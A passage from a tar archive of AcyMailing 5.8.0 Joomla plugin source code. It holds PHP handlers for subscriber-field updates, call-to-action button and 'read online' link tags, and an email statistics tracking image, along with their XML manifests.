		$content .= ' '.acymailing_select($operator, "action[__num__][acymailingfieldval][operator]", 'onchange="'.$jsOnChange.'" class="inputbox" size="1" style="width:150px;"', 'value', 'text', '=');
		$content .= ' <span id="toChangeAction__num__"><input class="inputbox" type="text" id="action__num__acymailingfieldvalvalue" name="action[__num__][acymailingfieldval][value]" style="width:200px" value=""></span></div>';

		$type['acymailingfieldval'] = acymailing_translation('SET_SUBSCRIBER_VALUE');

		return $content;
	}

	function onAcyTriggerFct_displayFieldPossibleValues(){
		$num = acymailing_getVar('int', 'num');
		$map = acymailing_getVar('cmd', 'map');
		$value = acymailing_getVar('string', 'value');
		$operator = acymailing_getVar('string', 'operator');

		if(in_array($operator, array('addend', 'addbegin'))){
			$emptyInputReturn = '<textarea class="inputbox" type="text" name="action['.$num.'][acymailingfieldval][value]" id="action'.$num.'acymailingfieldvalvalue" style="width:200px">'.$value.'</textarea>';
		}else{
			$emptyInputReturn = '<input class="inputbox" type="text" name="action['.$num.'][acymailingfieldval][value]" id="action'.$num.'acymailingfieldvalvalue" style="width:200px" value="'.$value.'">';
		}

		if(empty($map) || $map == 'key' || $operator != '=') return $emptyInputReturn;

		$fieldClass = acymailing_get('class.fields');
		$myField = $fieldClass->get($map);
		if(empty($myField) || !in_array($myField->type, array('radio', 'checkbox', 'singledropdown', 'multipledropdown'))) return $emptyInputReturn;

		return $fieldClass->display($myField, '', 'action['.$num.'][acymailingfieldval][value]');
	}

	function onAcyProcessAction_acymailingfieldval($cquery, $action, $num){

		$value = is_array($action['value']) ? implode(',', $action['value']) : $action['value'];
		$replace = array('{year}', '{month}', '{weekday}', '{day}');
		$replaceBy = array(date('Y'), date('m'), date('N'), date('d'));
		$value = str_replace($replace, $replaceBy, $value);

		if(preg_match_all('#{(year|month|weekday|day)\|(add|remove):([^}]*)}#Uis', $value, $results)){
			foreach($results[0] as $i => $oneMatch){
				$format = str_replace(array('year', 'month', 'weekday', 'day'), array('Y','m','N','d'), $results[1][$i]);
				$delay = str_replace(array('add', 'remove'), array('+', '-'), $results[2][$i]).intval($results[3][$i]).' '.str_replace('weekday', 'day', $results[1][$i]);
				$value = str_replace($oneMatch, date($format, strtotime($delay)), $value);
			}
		}

		if(empty($action['operator'])) $action['operator'] = '=';

		preg_match_all('#(?:{|%7B)field:(.*)(?:}|%7D)#Ui', $value, $tags);
		$fields = array_keys(acymailing_getColumns('#__acymailing_subscriber'));
		if(!in_array($action['map'], $fields)) return 'Unexisting field: '.$action['map'].' | The available fields are: '.implode(', ', $fields);

		if(in_array($action['operator'], array('+', '-'))){
			if(empty($tags) || empty($tags[1])){
				$value = intval($value);
			}else{
				if(count($tags[1]) > 1 || substr($value, 0, 1) != '{' || substr($value, strlen($value) - 1, 1) != '}'){
					return 'You can\'t use more than one tag for the + and - operators (you also can\'t add or remove a value from the inserted tag for these two operators)';
				}
				if(!in_array($tags[1][0], $fields)) return 'Unexisting field: '.$tags[1][0].' | The available fields are: '.implode(', ', $fields);
				$value = 'sub.`'.acymailing_secureField($tags[1][0]).'`';
			}
		}else{
			$value = $cquery->db->Quote($value);
			if(!empty($tags)){
				foreach($tags[1] as $i => $oneField){
					if(!in_array($oneField, $fields)) return 'Unexisting field: '.$oneField.' | The available fields are: '.implode(', ', $fields);
					$value = str_replace($tags[0][$i], "', sub.`".acymailing_secureField($oneField)."`, '", $value);
				}
				$value = "CONCAT(".$value.")";
			}
		}

		$query = 'UPDATE #__acymailing_subscriber AS sub';
		if(!empty($cquery->join)) $query .= ' JOIN '.implode(' JOIN ', $cquery->join);
		if(!empty($cquery->leftjoin)) $query .= ' LEFT JOIN '.implode(' LEFT JOIN ', $cquery->leftjoin);

		if($action['operator'] == '='){
			$newValue = $value;
		}elseif(in_array($action['operator'], array('+', '-'))){
			$newValue = "sub.`".acymailing_secureField($action['map'])."` ".$action['operator']." ".$value;
		}elseif($action['operator'] == 'addend'){
			$newValue = "CONCAT(sub.`".acymailing_secureField($action['map'])."`, ".$value.")";
		}elseif($action['operator'] == 'addbegin'){
			$newValue = "CONCAT(".$value.", sub.`".acymailing_secureField($action['map'])."`)";
		}else{
			return 'Non existing operator: '.$action['operator'];
		}

		$query .= " SET sub.`".acymailing_secureField($action['map'])."` = ".$newValue;
		if(!empty($cquery->where)) $query .= ' WHERE ('.implode(') AND (', $cquery->where).')';

		$cquery->db->setQuery($query);
		$cquery->db->query();
		$nbAffected = $cquery->db->getAffectedRows();
		return acymailing_translation_sprintf('NB_MODIFIED', $nbAffected);
	}

	function onAcyProcessAction_acymailingfield($cquery, $action, $num){

		$config = acymailing_config();
		$subClass = acymailing_get('class.subscriber');

		if($action['action'] == 'confirm'){
			$cquery->where['confirmed'] = 'sub.confirmed = 0';
			$cquery->db->setQuery($cquery->getQuery(array('sub.subid')));
			$allSubids = acymailing_loadResultArray($cquery->db);
			if(!empty($allSubids)){
				$subClass->sendConf = false;
				$subClass->sendWelcome = false;
				$subClass->sendNotif = false;
				foreach($allSubids as $oneId){
					$subClass->confirmSubscription($oneId);
				}
			}
			unset($cquery->where['confirmed']);
			return acymailing_translation_sprintf('NB_CONFIRMED', count($allSubids));
		}

		if($action['action'] == 'enable'){
			$action['map'] = 'enabled';
			$action['value'] = 1;
			return $this->onAcyProcessAction_acymailingfieldval($cquery, $action, $num);
		}

		if($action['action'] == 'block'){
			$action['map'] = 'enabled';
			$action['value'] = 0;
			return $this->onAcyProcessAction_acymailingfieldval($cquery, $action, $num);
		}

		if($action['action'] == 'unconfirm'){
			$action['map'] = 'confirmed';
			$action['value'] = 0;
			return $this->onAcyProcessAction_acymailingfieldval($cquery, $action, $num);
		}

		if($action['action'] == 'delete'){
			if(!acymailing_isAllowed($config->get('acl_subscriber_delete', 'all'))) return 'Not allowed to delete users';
			$query = $cquery->getQuery(array('sub.subid'));
			$cquery->db->setQuery($query);
			$allSubids = acymailing_loadResultArray($cquery->db);
			$nbAffected = $subClass->delete($allSubids);
			return acymailing_translation_sprintf('IMPORT_DELETE', $nbAffected);
		}

		return 'Filter AcyMailingField error, action not found : '.$action['action'];
	}
}//endclass
                                                                                                                                             acymailing/tagsubscriber/tagsubscriber.xml                                                          0000705                 00000004620 15242051520 0015075 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>

<extension type="plugin" version="2.5" method="upgrade" group="acymailing">
	<name>AcyMailing Tag : Subscriber information</name>
	<creationDate>juillet 2017</creationDate>
	<version>5.8.0</version>
	<author>Acyba</author>
	<authorEmail>dev@acyba.com</authorEmail>
	<authorUrl>http://www.acyba.com</authorUrl>
	<copyright>Copyright (C) 2009-2017 ACYBA SAS - All rights reserved..</copyright>
	<license>GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html</license>
	<description>This plugin enables you to add information of the subscriber in your Newsletter</description>
	<files>
		<filename plugin="tagsubscriber">tagsubscriber.php</filename>
		<filename>index.html</filename>
	</files>
	<params addpath="/components/com_acymailing/params">
		<param name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-tagsubscriber"/>
		<param name="displayfilter_mail" type="radio" default="1" label="Display filter" description="Display the subscriber fields filter on the Newsletter creation interface">
			<option value="0">JOOMEXT_NO</option>
			<option value="1">JOOMEXT_YES</option>
		</param>
		<param name="frontendaccess" type="list" default="all" label="Front-end Access" description="You can restrict the access to this tag system with this option">
			<option value="all">Always display this tag system</option>
			<option value="none">Don't display this tag system on the front-end</option>
		</param>
	</params>
	<config>
		<fields name="params" addfieldpath="/components/com_acymailing/params">
			<fieldset name="basic">
				<field name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-tagsubscriber"/>
				<field name="displayfilter_mail" type="radio" default="1" label="Display filter" description="Display the subscriber fields filter on the Newsletter creation interface">
					<option value="0">JOOMEXT_NO</option>
					<option value="1">JOOMEXT_YES</option>
				</field>
				<field name="frontendaccess" type="list" default="all" label="Front-end Access" description="You can restrict the access to this tag system with this option">
					<option value="all">Always display this tag system</option>
					<option value="none">Don't display this tag system on the front-end</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                                acymailing/tagsubscriber/index.html                                                                 0000705                 00000000054 15242051520 0013506 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    acymailing/calltoaction/calltoaction.php                                                            0000705                 00000022625 15242051520 0014523 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.8.0
 * @author	acyba.com
 * @copyright	(C) 2009-2017 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
defined('_JEXEC') or die('Restricted access');

class plgAcymailingCalltoaction extends JPlugin{

	function __construct(&$subject, $config){
		parent::__construct($subject, $config);
		$this->name = 'calltoaction';
		if(!isset($this->params)){
			$plugin = JPluginHelper::getPlugin('acymailing', $this->name);
			$this->params = new acyParameter($plugin->params);
		}

		$this->db = JFactory::getDBO();
		$this->acypluginsHelper = acymailing_get('helper.acyplugins');
	}

	function acymailing_getPluginType(){
		$onePlugin = new stdClass();
		$onePlugin->name = 'Call To Action';
		$onePlugin->function = 'acymailing_'.$this->name.'_show';
		$onePlugin->help = 'plugin-'.$this->name;
		return $onePlugin;
	}

	function acymailing_calltoaction_show(){
		$pageInfo = new stdClass();
		$paramBase = ACYMAILING_COMPONENT.'.'.$this->name;

		$pageInfo->filter_type = acymailing_getUserVar($paramBase.".filter_type", 'filter_type', '', 'int');
		$pageInfo->readmore = acymailing_getUserVar($paramBase.".readmore", 'readmore', '1', 'string');
		$pageInfo->wrap = acymailing_getUserVar($paramBase.".wrap", 'wrap', '0', 'string');
		$pageInfo->clickable = acymailing_getUserVar($paramBase.".clickable", 'clickable', '1', 'string');
		?>
		<script language="javascript" type="text/javascript">
			<!--
			function previewBtn(){
				var header = '';
				var body = '';
				var footer = '';
				var alignment;
				var tdAndBackColor = '<td style="background-color:' + document.getElementById('color1').value + ';';
				var leftIcon;
				var rightIcon;
				var size = document.getElementById('textsize').value;
				if(isNaN(size)) size = 18;
				var link = document.getElementById('btnlink').value;
				var text = document.getElementById('btntext').value;
				var width = document.getElementById('btnwidth').value;
				if(isNaN(width)) width = 200;
				width = ' width:' + width + 'px;" ';
				var border = document.getElementById('borderradius').value;
				if(isNaN(border)) border = 0;


				if(link.length === 0){
					document.getElementById('btnlink').style.border = '1px solid red';
				}else{
					document.getElementById('btnlink').style.border = '';
				}

				if(link.substr(0, 8).indexOf(':') == -1) link = 'http://' + link;
				link = '<a href="' + link + '" style="cursor:pointer;text-decoration:none;color:' + document.getElementById('color0').value + '; font-size:' + size + 'px;" target="_blank">';

				if(text.length === 0){
					document.getElementById('btntext').style.border = '1px solid red';
				}else{
					document.getElementById('btntext').style.border = '';
				}

				for(var i = 0; i < document.adminForm.alignment.length; i++){
					if(document.adminForm.alignment[i].checked){
						alignment = document.adminForm.alignment[i].value;
					}
				}

				for(var i = 0; i < document.adminForm.leftIcon.length; i++){
					if(document.adminForm.leftIcon[i].checked){
						leftIcon = document.adminForm.leftIcon[i].value;
					}
				}

				for(var i = 0; i < document.adminForm.rightIcon.length; i++){
					if(document.adminForm.rightIcon[i].checked){
						rightIcon = document.adminForm.rightIcon[i].value;
					}
				}

				if(alignment == 'center'){
					alignment = 'align="center" style="margin:auto;"';
				}else{
					alignment = 'align="' + alignment + '"';
				}

				var tag = '<table class="actionbutton" cellspacing="0" ' + alignment + '>';

				var emptyTd = tdAndBackColor + '" height="5" width="30"></td>';
				var image = '<img alt="" src="<?php echo acymailing_rootURI(); ?>media/com_acymailing/calltoaction/';

				header += '<tr class="toprow">' + tdAndBackColor + ' border-radius:' + border + 'px 0px 0px 0px" height="5" width="10"></td>';
				body += '<tr class="contentrow">' + tdAndBackColor + '" height="30" width="10"></td>';
				footer += '<tr class="bottomrow">' + tdAndBackColor + ' border-radius:0px 0px 0px ' + border + 'px" height="5" width="10"></td>';

				if(leftIcon != 'none'){
					header += emptyTd;
					body += tdAndBackColor + ' text-align:center; line-height:0px" width="30">' + link + image + leftIcon + '"></a></td>';
					footer += emptyTd;
				}

				header += tdAndBackColor + width + 'height="5"></td>';
				body += tdAndBackColor + ' text-align:center;' + width + 'height="30">' + link + text + '</a></td>';
				footer += tdAndBackColor + width + 'height="5"></td>';

				if(rightIcon != 'none'){
					header += emptyTd;
					body += tdAndBackColor + ' text-align:center; line-height:0px" width="30">' + link + image + rightIcon + '"></a></td>';
					footer += emptyTd;
				}

				header += tdAndBackColor + ' border-radius:0px ' + border + 'px 0px 0px" height="5" width="10"></td></tr>';
				body += tdAndBackColor + '" height="30" width="10"></td></tr>';
				footer += tdAndBackColor + ' border-radius:0px 0px ' + border + 'px 0px" height="5" width="10"></td></tr>';

				tag += header + body + footer + '</table>';

				document.getElementById('preview').innerHTML = tag;
				setTag(tag);
			}
			//-->
		</script>
		<?php $colorBox = acymailing_get('type.color'); ?>
		<div class="onelineblockoptions">
			<table width="100%" class="acymailing_table">
				<tr>
					<td><?php echo acymailing_translation('ACY_BUTTON_TEXT'); ?></td>
					<td><input type="text" id="btntext" style="width:150px;" value="" onkeyup="previewBtn();"/></td>
					<td><?php echo acymailing_translation('CAPTCHA_COLOR'); ?></td>
					<td><?php echo $colorBox->displayAll('0', 'textcolor', '#ffffff'); ?></td>
				</tr>
				<tr>
					<td><?php echo acymailing_translation('ACY_LINK'); ?></td>
					<td><input type="text" id="btnlink" style="width:150px;" value="" placeholder="http://..." onchange="previewBtn();"/></td>
					<td><?php echo acymailing_translation('BACKGROUND_COLOUR'); ?></td>
					<td><?php echo $colorBox->displayAll('1', 'backcolor', '#33bcf0'); ?></td>
				</tr>
				<tr>
					<td><?php echo acymailing_translation('CAPTCHA_WIDTH'); ?></td>
					<td><input type="text" id="btnwidth" style="width:35px;" value="200" onkeyup="previewBtn();"/>px</td>
					<td><?php echo acymailing_translation('ALIGNMENT'); ?></td>
					<td>
						<?php
						$alignment = array(acymailing_selectOption("left", acymailing_translation('ACY_LEFT')), acymailing_selectOption("center", acymailing_translation('ACY_CENTER')), acymailing_selectOption("right", acymailing_translation('ACY_RIGHT')));
						echo acymailing_radio($alignment, 'alignment', 'size="1" onclick="previewBtn();"', 'value', 'text', 'center');
						?>
					</td>
				</tr>
				<tr>
					<td><?php echo acymailing_translation('FIELD_SIZE'); ?></td>
					<td><input type="text" id="textsize" style="width:35px;" value="18" onkeyup="previewBtn();"/>px</td>
					<td><?php echo acymailing_translation('ACY_BORDER'); ?></td>
					<td><input type="text" id="borderradius" style="width:35px;" value="6" onkeyup="previewBtn();"/>px</td>
				</tr>
				<?php

				$allIcons = acymailing_getFiles(ACYMAILING_MEDIA.'calltoaction', '\.png$');
				?>
				<tr style="background-color: #ABBFDE;">
					<td nowrap="nowrap" valign="top" style="color:white;"><?php echo acymailing_translation('ACY_LEFT'); ?></td>
					<td colspan="3" style="color:white;">
						<?php
						foreach($allIcons as $oneIcon){
							echo '<label style="margin-left:10px" for="leftIcon'.$oneIcon.'"><input style="display:none" type="radio" name="leftIcon" value="'.$oneIcon.'" id="leftIcon'.$oneIcon.'" onclick="previewBtn();"/><img onclick="document.getElementById(\'leftIcon'.$oneIcon.'\').click();" style="width:15px;" alt="" src="'.acymailing_rootURI().'media/com_acymailing/calltoaction/'.$oneIcon.'" /></label>';
						}
						?>
						<label style="margin-left:10px" for="leftIconnone"><input style="display:none" type="radio" name="leftIcon" value="none" id="leftIconnone" onclick="previewBtn();" checked="checked"/><?php echo acymailing_translation('ACY_NONE'); ?></label>
					</td>
				</tr>
				<tr style="background-color: #ABBFDE;">
					<td nowrap="nowrap" valign="top" style="color:white;"><?php echo acymailing_translation('ACY_RIGHT'); ?></td>
					<td colspan="3" style="color:white;">
						<?php
						foreach($allIcons as $oneIcon){
							echo '<label style="margin-left:10px" for="rightIcon'.$oneIcon.'"><input style="display:none" type="radio" name="rightIcon" value="'.$oneIcon.'" id="rightIcon'.$oneIcon.'" onclick="previewBtn();"/><img onclick="document.getElementById(\'rightIcon'.$oneIcon.'\').click();" style="width:15px;" alt="" src="'.acymailing_rootURI().'media/com_acymailing/calltoaction/'.$oneIcon.'" /></label>';
						}
						?>
						<label style="margin-left:10px" for="rightIconnone"><input style="display:none" type="radio" name="rightIcon" value="none" id="rightIconnone" onclick="previewBtn();" checked="checked"/><?php echo acymailing_translation('ACY_NONE'); ?></label>
					</td>
				</tr>
			</table>
			<table width="100%">
				<tr>
					<td colspan="4" style="padding:15px;" id="preview"></td>
				</tr>
			</table>
		</div>
		<script>
			document.getElementById("colordiv0").addEventListener("click", previewBtn);
			document.getElementById("colordiv1").addEventListener("click", previewBtn);
		</script>
		<?php
	}
}
                                                                                                           acymailing/calltoaction/calltoaction.xml                                                            0000705                 00000002360 15242051520 0014526 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>

<extension type="plugin" version="2.5" method="upgrade" group="acymailing">
	<name>AcyMailing Tag : Call To Action</name>
	<creationDate>February 2015</creationDate>
	<version>1.1.3</version>
	<author>Acyba</author>
	<authorEmail>dev@acyba.com</authorEmail>
	<authorUrl>http://www.acyba.com</authorUrl>
	<copyright>Copyright (C) 2009-2017 ACYBA SAS - All rights reserved..</copyright>
	<license>GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html</license>
	<description>This plugin enables you to include a customized Call To Action link in any e-mail sent by AcyMailing</description>
	<files>
		<filename plugin="calltoaction">calltoaction.php</filename>
		<filename>index.html</filename>
	</files>
	<params addpath="/components/com_acymailing/params">
		<param name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-calltoaction"/>
	</params>
	<config>
		<fields name="params" addfieldpath="/components/com_acymailing/params">
			<fieldset name="basic">
				<field name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-calltoaction"/>
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                                                                                                                                                                                                acymailing/calltoaction/index.html                                                                  0000705                 00000000054 15242051520 0013323 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    acymailing/online/online.xml                                                                        0000705                 00000010450 15242051520 0012145 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>

<extension type="plugin" version="2.5" method="upgrade" group="acymailing">
	<name>AcyMailing Tag : Website links</name>
	<creationDate>September 2009</creationDate>
	<version>3.7.0</version>
	<author>Acyba</author>
	<authorEmail>dev@acyba.com</authorEmail>
	<authorUrl>http://www.acyba.com</authorUrl>
	<copyright>Copyright (C) 2009-2017 ACYBA SAS - All rights reserved..</copyright>
	<license>GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html</license>
	<description>This plugin enables you to add links in your Newsletter such as "read in your browser" or "forward to a friend"</description>
	<files>
		<filename plugin="online">online.php</filename>
	</files>
	<params addpath="/components/com_acymailing/params">
		<param name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-online"/>
		<param name="addkey" type="radio" default="yes" label="Add Newsletter key" description="Add the Newsletter key in the link so the online version will be always accessible from the link inserted in the Newsletter">
			<option value="yes">Yes</option>
			<option value="no">No</option>
		</param>
		<param name="adduserkey" type="radio" default="yes" label="Add User key" description="Add the user key in the link so the online version will contain the personal information as well">
			<option value="yes">Yes</option>
			<option value="no">No</option>
		</param>
		<param name="viewtemplate" type="radio" default="notemplate" label="Display the online version - DEPRECATED" description="This option is not useful any more, please use the option when inserting the tag instead">
			<option value="standard">Standard template</option>
			<option value="notemplate">No template</option>
		</param>
		<param name="forwardtemplate" type="radio" default="notemplate" label="Display the forward version - DEPRECATED" description="This option is not useful any more, please use the option when inserting the tag instead">
			<option value="standard">Standard template</option>
			<option value="notemplate">No template</option>
		</param>
		<param name="frontendaccess" type="list" default="all" label="Front-end Access" description="You can restrict the access to this tag system with this option">
			<option value="all">Always display this tag system</option>
			<option value="none">Don't display this tag system on the front-end</option>
		</param>
	</params>
	<config>
		<fields name="params" addfieldpath="/components/com_acymailing/params">
			<fieldset name="basic">
				<field name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-online"/>
				<field name="addkey" type="radio" default="yes" label="Add Newsletter key" description="Add the Newsletter key in the link so the online version will be always accessible from the link inserted in the Newsletter">
					<option value="yes">Yes</option>
					<option value="no">No</option>
				</field>
				<field name="adduserkey" type="radio" default="yes" label="Add User key" description="Add the user key in the link so the online version will contain the personal information as well">
					<option value="yes">Yes</option>
					<option value="no">No</option>
				</field>
				<field name="viewtemplate" type="radio" default="notemplate" label="Display the online version - DEPRECATED" description="This option is not useful any more, please use the option when inserting the tag instead">
					<option value="standard">Standard template</option>
					<option value="notemplate">No template</option>
				</field>
				<field name="forwardtemplate" type="radio" default="notemplate" label="Display the forward version - DEPRECATED" description="This option is not useful any more, please use the option when inserting the tag instead">
					<option value="standard">Standard template</option>
					<option value="notemplate">No template</option>
				</field>
				<field name="frontendaccess" type="list" default="all" label="Front-end Access" description="You can restrict the access to this tag system with this option">
					<option value="all">Always display this tag system</option>
					<option value="none">Don't display this tag system on the front-end</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                                                                                                                                        acymailing/online/online.php                                                                        0000705                 00000013501 15242051520 0012134 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.8.0
 * @author	acyba.com
 * @copyright	(C) 2009-2017 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php

class plgAcymailingOnline extends JPlugin{
	function __construct(&$subject, $config){
		parent::__construct($subject, $config);
		if(!isset($this->params)){
			$plugin = JPluginHelper::getPlugin('acymailing', 'online');
			$this->params = new acyParameter($plugin->params);
		}
	}

	function acymailing_getPluginType(){

		if($this->params->get('frontendaccess') == 'none' && !acymailing_isAdmin()) return;
		$onePlugin = new stdClass();
		$onePlugin->name = acymailing_translation('WEBSITE_LINKS');
		$onePlugin->function = 'acymailingtagonline_show';
		$onePlugin->help = 'plugin-online';

		return $onePlugin;
	}

	function acymailingtagonline_show(){

		$others = array();
		$config = acymailing_config();
		$others['readonline'] = array('default' => acymailing_translation('VIEW_ONLINE', true), 'desc' => acymailing_translation('VIEW_ONLINE_LINK'));
		if($config->get('forward', true)){
			$others['forward'] = array('default' => acymailing_translation('FORWARD_FRIEND', true), 'desc' => acymailing_translation('FORWARD_FRIEND_LINK'));
		}

		?>
		<script language="javascript" type="text/javascript">
			<!--
			var selectedTag = '';
			function changeTag(tagName){
				selectedTag = tagName;
				defaultText = new Array();
				<?php
								$k = 0;
								foreach($others as $tagname => $tag){
									echo "document.getElementById('tr_$tagname').className = 'row$k';";
									echo "defaultText['$tagname'] = '".$tag['default']."';";
								}
								$k = 1-$k;
				?>
				document.getElementById('tr_' + tagName).className = 'selectedrow';
				document.adminForm.tagtext.value = defaultText[tagName];
				setOnlineTag();
			}

			function setOnlineTag(){
				if(!selectedTag) changeTag('readonline');
				otherinfo = '';
				for(var i = 0; i < document.adminForm.template.length; i++){
					if(document.adminForm.template[i].checked){
						otherinfo += '|template:' + document.adminForm.template[i].value;
					}
				}
				setTag('<a href=' + '"{' + selectedTag + otherinfo + '}{/' + selectedTag + '}" target="_blank" style="text-decoration:none;"><span class="acymailing_online">' + document.adminForm.tagtext.value + '</span></a>');
			}
			//-->
		</script>
		<?php
		echo acymailing_translation('FIELD_TEXT').' : <input type="text" name="tagtext" size="100px" onchange="setOnlineTag();" /><br /><br />';
		$radios = array();
		$radios[] = acymailing_selectOption("standard", acymailing_translation('IN_TEMPLATE'));
		$radios[] = acymailing_selectOption("notemplate", acymailing_translation('WITHOUT_TEMPLATE'));
		echo acymailing_radio($radios, 'template', 'size="1" onclick="setOnlineTag();"', 'value', 'text', 'notemplate');
		echo '<div class="onelineblockoptions">
				<table class="acymailing_table" cellpadding="1">';
		$k = 0;
		foreach($others as $tagname => $tag){
			echo '<tr style="cursor:pointer" class="row'.$k.'" onclick="changeTag(\''.$tagname.'\');" id="tr_'.$tagname.'" ><td class="acytdcheckbox" ></td><td>'.$tag['desc'].'</td></tr>';
			$k = 1 - $k;
		}
		echo '</table></div>';
	}

	function acymailing_replacetags(&$email, $send = true){
		$match = '#(?:{|%7B)(readonline|forward)([^}]*)(?:}|%7D)(.*)(?:{|%7B)/(readonline|forward)(?:}|%7D)#Uis';
		$variables = array('body', 'altbody');
		$found = false;
		$results = array();
		foreach($variables as $var){
			if(empty($email->$var)) continue;
			$found = preg_match_all($match, $email->$var, $results[$var]) || $found;
			if(empty($results[$var][0])) unset($results[$var]);
		}

		if(!$found) return;

		$config = acymailing_config();

		$tags = array();

		foreach($results as $var => $allresults){
			foreach($allresults[0] as $i => $oneTag){
				if(isset($tags[$oneTag])) continue;
				$arguments = explode('|', strip_tags(str_replace('%7C', '|', $allresults[2][$i])));
				$tag = new stdClass();
				$tag->type = $allresults[1][$i];
				$tag->template = ($tag->type == 'readonline') ? $this->params->get('viewtemplate', 'notemplate') : $this->params->get('forwardtemplate', 'notemplate');
				$tag->itemid = $config->get('itemid', 0);
				for($j = 0, $a = count($arguments); $j < $a; $j++){
					$args = explode(':', $arguments[$j]);
					$arg0 = trim($args[0]);
					if(empty($arg0)) continue;
					if(isset($args[1])){
						$tag->$arg0 = $args[1];
					}else{
						$tag->$arg0 = true;
					}
				}

				$addkey = (!empty($email->key) && $this->params->get('addkey', 'yes') == 'yes') ? '&key='.$email->key : '';
				$adduserkey = $this->params->get('adduserkey', 'yes') == 'yes' ? '&subid={subtag:subid}-{subtag:key}' : '';
				$tmpl = ($tag->template == 'notemplate') ? '&tmpl=component' : '';
				$item = empty($tag->itemid) ? '' : '&Itemid='.$tag->itemid;
				$lang = empty($email->language) ? '' : '&lang='.$email->language;

				if($tag->type == 'readonline'){
					$link = acymailing_frontendLink('index.php?option=com_acymailing&ctrl=archive&task=view&mailid='.$email->mailid.$addkey.$adduserkey.$tmpl.$item.$lang);
				}elseif($tag->type == 'forward'){
					$link = acymailing_frontendLink('index.php?option=com_acymailing&ctrl=archive&task=forward&mailid='.$email->mailid.$addkey.$adduserkey.$tmpl.$item.$lang);
				}

				if(empty($allresults[3][$i])){
					$tags[$oneTag] = $link;
				}else $tags[$oneTag] = '<a style="text-decoration:none;" href="'.$link.'"><span class="acymailing_online">'.$allresults[3][$i].'</span></a>';
			}
		}

		$email->body = str_replace(array_keys($tags), $tags, $email->body);
		if(!empty($email->altbody)) $email->altbody = str_replace(array_keys($tags), $tags, $email->altbody);
	}
}//endclass
                                                                                                                                                                                               acymailing/online/index.html                                                                        0000705                 00000000054 15242051520 0012133 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    acymailing/stats/stats.php                                                                          0000705                 00000113147 15242051520 0011667 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.8.0
 * @author	acyba.com
 * @copyright	(C) 2009-2017 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php

class plgAcymailingStats extends JPlugin{
	function __construct(&$subject, $config){
		parent::__construct($subject, $config);
		if(!isset($this->params)){
			$plugin = JPluginHelper::getPlugin('acymailing', 'stats');
			$this->params = new acyParameter($plugin->params);
		}
		$this->db = JFactory::getDBO();
		$this->acypluginsHelper = acymailing_get('helper.acyplugins');
	}

	function acymailing_replacetags(&$email, $send = true){
		$this->statPicture($email, $send);
		if(acymailing_level(3)){
			$this->_replaceAutoCharts($email);
			$this->_replaceOneCharts($email);
		}
	}

	function statPicture(&$email, $send = true){
		if(!empty($email->altbody)){
			$email->altbody = str_replace(array('{statpicture}', '{nostatpicture}'), '', $email->altbody);
		}
		if(((isset($email->sendHTML) && !$email->sendHTML) || (isset($email->html) && !$email->html))
			|| empty($email->type)
			|| !in_array($email->type, array('news', 'autonews', 'followup', 'welcome', 'unsub', 'joomlanotification', 'action'))
			|| strpos($email->body, '{nostatpicture}')){
			$email->body = str_replace(array('{statpicture}', '{nostatpicture}'), '', $email->body);
			return;
		}

		if(!$send){
			$pictureLink = ACYMAILING_LIVE.$this->params->get('picture', 'media/com_acymailing/images/statpicture.png');
		}else {
			$config = acymailing_config();
			$itemId = $config->get('itemid', 0);
			$item = empty($itemId) ? '' : '&Itemid=' . $itemId;
			$pictureLink = acymailing_frontendLink('index.php?option=com_acymailing&ctrl=statistics&mailid=' . $email->mailid . '&subid={subtag:subid}' . $item, false);
		}

		$widthsize = $this->params->get('width', 50);
		$heightsize = $this->params->get('height', 1);
		$width = empty($widthsize) ? '' : ' width="'.$widthsize.'" ';
		$height = empty($heightsize) ? '' : ' height="'.$heightsize.'" ';

		$statPicture = '<img class="spict" alt="'.$this->params->get('alttext', '').'" src="'.$pictureLink.'"  border="0" '.$height.$width.'/>';

		if(strpos($email->body, '{statpicture}')){
			$email->body = str_replace('{statpicture}', $statPicture, $email->body);
		}elseif(strpos($email->body, '</body>')) $email->body = str_replace('</body>', $statPicture.'</body>', $email->body);
		else $email->body .= $statPicture;
	}//endfct

	function acymailing_getstatpicture(){
		return $this->params->get('picture', 'media/com_acymailing/images/statpicture.png');
	}

	function onAcyDisplayTriggers(&$triggers){
